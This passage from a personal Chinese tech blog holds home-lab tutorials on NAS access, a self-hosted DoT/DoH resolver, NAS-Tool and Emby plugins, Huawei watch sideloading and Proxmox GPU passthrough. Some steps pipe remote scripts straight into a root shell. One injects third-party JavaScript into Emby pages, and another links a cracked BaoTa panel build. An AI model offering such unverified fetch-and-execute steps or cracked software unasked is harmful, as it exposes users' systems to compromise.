然后在Windows资源管理器中输入\\192.168.x.x（你的群晖IP）就可以访问目录资源了

体验

使用体验是很好的，配合软路由的OpenClash，你可以在连上OpenVPN后同时访问内“外”网资源。

大学生白嫖阿里云服务器搭建私人DOT/DOH

Fri, 03 Nov 2023 00:00:00 GMT

领取服务器（需要学信网）

阿里云-云工开物300大学生优惠券领取地址：阿里云高校计划_云工开物_助力高校科研与教育加速-阿里云 (aliyun.com)

2核1g 3mbps/年轻量云服务器购买地址：轻量应用服务器_web服务器_个人建站_弹性计算-阿里云 (aliyun.com)

选择新加坡或者香港（限量）的机器，系统镜像选择ubuntu（也可根据个人喜好选择），开通一年即零元。

使用轻量应用服务器

开放防火墙TCP-3000和TCP-853端口

设置root登录密码

root登录SSH

根据此教程安装宝塔

宝塔开心版8.0.2_宝塔Linux面板8.0.2 开心_宝塔 8.0.2 (btkaixin.net)

登入宝塔面板

进行初始化安装必要环境，然后安装docker

在容器中先拉取镜像

adguard/adguardhome

然后添加容器

按照如图所示参数添加容器（重启规则可设置错误时重启）

设置Adguard Home 加密连接

登入你的服务器ip:3000的Adg初始化网页，设置网页登录端口为3000，其余默认，登入控制面板

进入设置-加密设置-启用加密

填入服务器名称（即你的域名），以及下方填入证书内容

其它设置

由于服务器位于国外，可将上游 DNS 服务器设置为8.8.8.8和1.1.1.1，将能达到更快的响应速度

过滤器-DNS黑名单主要设置这两个，其中第二个对国内广告命中率较高

宝塔设置反向代理以将二级域名重定向指容器

在宝塔面板中添加站点域名填写解析到当前服务器的域名，例如doh.abc.com，其余默认

然后进入站点设置，填入证书内容并启用SSL，然后添加反向代理，代理名称填入doh，目标URL填入

https://127.0.0.1:444

以此类推再添加一个DOT站点，注意URL填入

https://127.0.0.1:853

如何使用

Win11可在网络设置中DNS设置直接使用DOH

安卓则只能在设置中设置DOT（即私人DNS）

给NAS-Tool添加拓展功能，自定义刷流、索引规则

Tue, 17 Oct 2023 00:00:00 GMT

安装第三方插件拓展包

安装方法

根据系统执行对应的命令即可，需要root权限执行。也可下载 shell 脚本，从脚本内提取安装包，自行替换 nas-tools 目录

docker shell（容器内部执行）

# 安装
bash <(curl -s https://github.com/Mattoids/nas-tools-plugin/raw/master/package/install.sh) dockershell
# 卸载
bash <(curl -s https://github.com/Mattoids/nas-tools-plugin/raw/master/package/unload.sh) dockershell

docker（容器外部执行）

# 安装
bash <(curl -s https://github.com/Mattoids/nas-tools-plugin/raw/master/package/install.sh) docker
# 卸载
bash <(curl -s https://github.com/Mattoids/nas-tools-plugin/raw/master/package/unload.sh) docker

dsm7

# 安装
bash <(curl -s https://github.com/Mattoids/nas-tools-plugin/raw/master/package/install.sh) dsm7
# 卸载
bash <(curl -s https://github.com/Mattoids/nas-tools-plugin/raw/master/package/unload.sh) dsm7

dsm6

# 安装
bash <(curl -s https://github.com/Mattoids/nas-tools-plugin/raw/master/package/install.sh) dsm6
# 卸载
bash <(curl -s https://github.com/Mattoids/nas-tools-plugin/raw/master/package/unload.sh) dsm6

脚本运行报错的时候尝试下面的命令

# 安装
curl -O https://github.com/Mattoids/nas-tools-plugin/raw/master/package/install.sh && chmod 655 install.sh && ./install.sh docker
# 卸载
curl -O https://github.com/Mattoids/nas-tools-plugin/raw/master/package/unload.sh && chmod 655 unload.sh &&

添加第三方源

https://github.com/Mattoids/nas-tools-plugin/raw/master/source.json

打开第三方插件-点击设置按钮-填入地址-保存即可

配置自定义索引器

通过配置此插件以对NT不支持的站点进行索引，搜索影片

第一个框填写你需要添加的站点，第二框填写NT已经支持的站点，用于替换数据，然后点击第三个框，双击复制所有内容，打开JSON处理网站

在线JSON校验格式化工具（Be JSON）

复制上一步输入框的内容
打开JSON处理站点
粘贴到网站中点【格式化校验】和【Unicode转中文】，修改name为你添加的站点的中文名（随便写也没关系）
点击【压缩】和【中文转Unicode】，然后复制站点里面的内容
粘贴回上一步的框中（把原有的删除以后再粘贴）
保存
你可以去索引器里面找你的站点了

自定义刷流规则

nas-tools-plugin/sites/brush at master · Mattoids/nas-tools-plugin (github.com)

打开链接，寻找作者已经适配站点的JSON文件，打开后复制规则内容

{"FREE":["//h1[@id='top']/b/font[@class='free']"],"2XFREE":["//h1[@id='top']/b/font[@class='twoupfree']"],"HR":[],"PEER_COUNT":["//div[@id='peercount']/b[1]"]}

例如以上为Rousi的规则

我们需要将其嵌套进{"域名":规则}

{"rousi.zip":{"FREE":["//h1[@id='top']/b/font[@class='free']"],"2XFREE":["//h1[@id='top']/b/font[@class='twoupfree']"],"HR":[],"PEER_COUNT":["//div[@id='peercount']/b[1]"]}}

如果需要添加多个，则在最后一个大括号前加入英文逗号,然后将其它的"域名"+规则复制进去

{"hdarea.club":{"FREE":["//h1[@id='top']/b/font[@class='free']"],"2XFREE":["//h1[@id='top']/b/font[@class='twoupfree']"],"HR":[],"PEER_COUNT":["//div[@id='peercount']/b[1]"]},"rousi.zip":{"FREE":["//h1[@id='top']/b/font[@class='free']"],"2XFREE":["//h1[@id='top']/b/font[@class='twoupfree']"],"HR":[],"PEER_COUNT":["//div[@id='peercount']/b[1]"]},"kufei.org":{"FREE":["//h1[@id='top']/b/font[@class='free']"],"2XFREE":["//h1[@id='top']/b/font[@class='twoupfree']"],"HR":[],"PEER_COUNT":["//div[@id='peercount']/b[1]"]}}

给你的EMBY添加一点小插件

Sat, 12 Aug 2023 00:00:00 GMT

前言

本教程仅适用于docker EMBY用户，群晖套件版的可以参考，整体思路是大差不差的。

VideoTogether插件（VideoTogether | 一起看视频）

此插件可以赋予你的媒体库多人在线同步观看视频的体验。

仅需多端输入相同的房间号、密码即可同步观影，体验还是相当流畅的。

弹幕插件（Emby 弹幕扩展 (movie.kg)）

为EMBY提供弹幕拓展服务，非常有用的追番功能！

可选的功能也很多，本地化的哔哩哔哩追番体验！

如何安装

首先SSH连接你的docker宿主机，然后获取你的EMBY 容器的ID

docker ps -a

然后进入该容器（注意要替换成自己的ID）

docker exec -it e71123794726 /bin/ash

然后编辑EMBY的index文件

vi /system/dashboard-ui/index.html

方向键拉到最底下，键入i开启编辑模式在</div>和</body>之间加入相应JS代码即可。

VideoTogether插件

<script src="https://2gether.video/release/extension.website.user.js"></script>

弹幕插件

<script type="text/javascript" src="https://danmaku.movie.kg/ext.js"></script>
<link rel="stylesheet" href="https://danmaku.movie.kg/ext.css"/>

注意格式对齐，然后esc，输:wq即可保存退出，重启容器即可体验！

基于无线adb实现的华为手表独立安装应用

Wed, 14 Jun 2023 00:00:00 GMT

引

今年年初本人购入一块华为watch3手表，随后便是开始往里面安装各类的软件，经过一些尝试也发现它的防第三方软件机制仅仅是通过自带的应用安装器实现防止用户安装。

关于这点，相信大家都可以想到通过adb冻结应用然后再进行安装以实现绕过该机制。

但是这多少会有些不方便，每次都需要手机连接adb再找到该应用进行冻结，然后才能安装。

思路

那么我们有没有办法进行更简便的操作呢？

由于该手表的Harmony OS 3.0是基于AOSP11，故可以在不连接电脑的情况下直接开启WiFi ADB（安卓调试桥），然后我们就可以通过shizuku首先通过WiFi ADB进行提权。

方法如下：

首先进入设置中的开发人员选项，找到并打开 HDC调试以及通过WLAN调试，然后进入shizuku，下拉点击启动，授权同意调试后即可（注意每次重启后都需要重新打开WLAN调试，否则shizuku会找不到该选项）

接下来安装小黑屋，用于冻结应用

注意在首次安装过程中，会出现屏幕大小问题导致点不到下一步的按钮，此时需要借助 wearos工具箱 ADB连接手机，对DPI进行修改，在权限上选择shizuku，直到完成便可恢复DPI大小。

然后点击右上角的加号，将用户应用向左滑，找到应用安装器，冻结即可！

再通过wearos工具箱安装第三方的应用安装器，然后便可快乐独立地安装应用了！

WearOS安装器：基于无线adb实现的华为手表独立安装应用

补充

注意：冻结应用安装器后用完必须解冻，不然系统在重启后会出现重启两次，并且所有应用的权限授权全部消失，以及所有冻结应用全部解冻的情况。

在PVE上直通核显给群晖搭配alist挂载实现自建影库

Wed, 14 Jun 2023 00:00:00 GMT

配合视频教程食用更佳！

https://www.bilibili.com/video/BV1Hh4y1X7ag/

思路

在PVE虚拟机平台上安装q35黑群晖，直通核显给群晖用于jellyfin硬解，再通过alist挂载多方云盘，利用CloudDrive对接alist的web dav实现挂载至本地，并由jellyfin进行影视作品的刮削。

安装群晖

首先下载引导镜像以及pat文件，本人这边的选择是DS918+ 7.0.1-42218,也可根据自身需求安装其它系统。

https://pan.quark.cn/s/9793ea3350da

官方pat文件：在PVE上直通核显给群晖搭配alist挂载实现自建影库

然后将img引导文件上传至local，创建虚拟机，操作系统选择不使用任何介质，机型选择q35，硬盘选择SATA，大小为1G，CPU根据自身情况选择，也可选择host，内存根据自身情况修改，其余没说的默认即可。

选中刚创建的虚拟机，点击硬件，选中硬盘，分离后删除即可。

然后ssh连接PVE

输入qm importdisk+空格+虚机VMID+空格+刚复制的的固件路径+空格+local-lvm

(注意我这边不加-lvm是因为lvm空间不够了...正常是需要加上的)

qm importdisk 104 /var/lib/vz/template/iso/ds918.img local

出现Successful后在web管理页面中就能看到一块未使用的磁盘，双击后设备选择SATA（可勾选SSD仿真）添加即可，同时添加一块不小于20G的硬盘（可勾选SSD仿真）用于安装群晖的系统。同时将BIOS修改为OVMF（UEFI）

然后点击选项修改引导顺序，仅勾选引导盘随后启动即可。

启动后进入控制台选择第二项并回车

随后这里会卡住，不必惊慌，这是正确的，然后就是耐心等待，前往路由端查看群晖IP后访问，然后根据提示安装提前下好的pat文件，待群晖重启后即可正常访问并设置基本信息。

安装Jellyfin

进入套件中心-设置-套件来源-新增

名称填入我不是矿神

位置填入矿神群晖SPK套件源DSM7.x by IMNKS.COM

然后搜索jellyfin，选择第一个进行下载并安装即可。

进入jellyfin后简单设置（注意国家/地区选择 People's Republic of China）

注意在添加媒体库前，需要先前往群晖进入文件夹属性页面，给jellyfin授权，并勾选应用到这个文件夹、子文件夹及文件，不然是看不到文件夹的。

设置核显直通

为什么要设置直通硬解？有的人可能会认为我只在家里，内网带宽充足，是不是就不需要了，其实这是个误区，有些mkv后缀名的原盘电影，是必须要核显硬解的，不然是无法播放的，当然你也可以通过第三方客户端实现本地解码。

首先我们先下载PVEtools

1.先删除企业源： rm /etc/apt/sources.list.d/pve-enterprise.list

2.安装 export LC_ALL=en_US.UTF-8 apt update && apt -y install git && git clone https://github.com/ivanhao/pvetools.git

3.启动工具（cd到目录，启动工具） cd pvetools ./pvetools.sh

然后选择中文-i 配置PCI硬件直通-a 配置开启物理机硬件直通支持-根据提示重启

重启后再进入该页面选择c 配置显卡直通-a 配置物理机显卡直通支持-根据提示重启

返回PVE web界面，选定群晖虚拟机-硬件-添加-PCI设备-设备选择核显-勾选四个钩-添加即可。

进入jellyfin-控制台-播放-硬件加速选择QSV或者VAAPI，拉到最下方保存即可实现硬解。

Jellyfin SSL访问

我们不在家时想通过公网实现非常简单，端口转发这里就不多说了，主要是如何配置SSL。

进入jellyfin控制台-联网-允许与此服务器进行远程连接打钩-将DNS服务商处下载的IIS（pfx文件）证书放入群晖并给予jellyfin访问权限，或者通过证书转换将你的pem证书转换成pfx证书。

在jellyfin中选择证书并且输入证书密码保存后重启即可。

SSL证书格式转换工具-中国数字证书CHINASSL

挂载云盘

首先在套件中心安装Alist网盘和CloudDrive2，然后登陆alist后台进入管理，根据自身情况登陆适合的网盘，注意选择本地代理。

再进入CloudDrive2添加web dav。服务器填写http://群晖IP:端口/dav，用户名密码即使用alist的。

注意挂载后也要给予权限，然后在jellyfin中添加媒体库即大功告成啦！

刮削动漫

添加媒体库 Bangumi

https://jellyfin-plugin-bangumi.pages.dev/repository.json

添加媒体库

Shattered217のBlog

Jetson Orin 部署 OpenClaw 开启 Memory Search

编译llama.cpp

推理模型

Jetson Python环境优雅链接系统包

Rime 雾凇拼音 多端配置及同步 Win-Android-iOS

前言

关于 Rime

Windows 端

安卓端

iPad/iOS 端

FRP 面板(Basic Auth)接入 Authentik 单点登录指南

前言

Authentik 端配置

NGINX 配置

在 Jetson 上通过容器 trt 推理 YOLO26 指南

前言

构建容器

推理 YOLO

Jetson Orin 使用 TensorRT 推理 YOLO26

引

搭建环境

验证 YOLO

推理 YOLO26

推理 YOLO26 TRT

Jetson Orin PyTorch whl 自编译指南

基础信息

构建步骤

测试验证

Jetson Orin TensorRT whl 自编译指南

基础信息

构建步骤

测试验证

Jetson Orin TorchAudio whl 自编译指南

基础信息

构建步骤

验证测试

Jetson Orin TorchVision whl 自编译指南

基础信息

构建步骤

测试验证

ImmortalWrt 编译进阶：实现与官方源 kmod 的完美兼容

前言

准备环境

开始编译

检查对齐

Jetson Orin TensorRT 量化推理 SAM3 示例教程

本机配置

调整最佳性能模式

构建并运行容器环境

导出 ONNX

trt 量化编译

编译并运行测试程序

效果展示

基于Jetson与HA的拓竹3D打印机炒面检测方案

前言

安装配置 Home Assistant

安装 Obico_ML

安装 Obico_ML For Jetson Orin

配置自动化

TG 推送蓝图

Jetson Orin Nano编译ONNX Runtime GPU

编译环境准备

编译ONNX

安装并测试ONNXruntime-GPU

推理immich-machine-learning

Ubuntu20.04 XRDP配置

安装XRDP

配置XRDP

登录XRDP

国内云 Headscale 0.26.1 组网方案教程

Docker安装Headscale

配置Headscale

配置HeadPlane

配置反向代理

访问HeadPlane控制台

使用预授权密钥认证设备

进阶配置

RDK-x5 量化部署YOLO v8模型推理摄像头视频流

x86端准备模型

Rime 雾凇拼音多端配置及同步 Win-Android-iOS

Windows 使用Anaconda 搭建 YOLO环境教程

MISC：